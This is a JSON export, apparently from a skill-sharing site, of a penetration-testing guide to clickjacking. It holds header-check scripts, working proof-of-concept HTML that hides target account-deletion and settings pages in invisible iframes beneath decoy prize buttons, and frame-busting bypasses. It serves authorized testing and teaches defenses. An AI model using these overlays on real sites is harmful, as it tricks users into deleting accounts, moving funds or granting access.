[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFNXCWN5ZJX1WEYCXKW736":3,"skill-same:01M6AFNXCWN5ZJX1WEYCXKW736":112},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":71,"commitSha":72,"skillDirectory":73,"forksCount":74,"repositoryHtmlUrl":75,"repositoryHomepageUrl":76,"ownerHtmlUrl":77,"ownerBlogUrl":78,"ownerDescription":79,"updatedAt":80,"install":81,"resources":94},"01M6AFNXCWN5ZJX1WEYCXKW736","performing-clickjacking-attack-test",null,"Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"performing clickjacking attack test","test","web-application-security","x-frame-options","ui-redressing","clickjacking","application-security","applications","t1505","web-security","t1059","testing","owasp","penetration-testing","ui","pr","web","vulnerabilities","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: performing-clickjacking-attack-test\ndescription: Testing web applications for clickjacking vulnerabilities by assessing\n  frame embedding controls and crafting proof-of-concept overlay attacks during authorized\n  security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- clickjacking\n- ui-redressing\n- web-security\n- owasp\n- x-frame-options\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0024\n- AML.T0035\nnist_ai_rmf:\n- MEASURE-2.8\n- MAP-5.1\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n","# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## 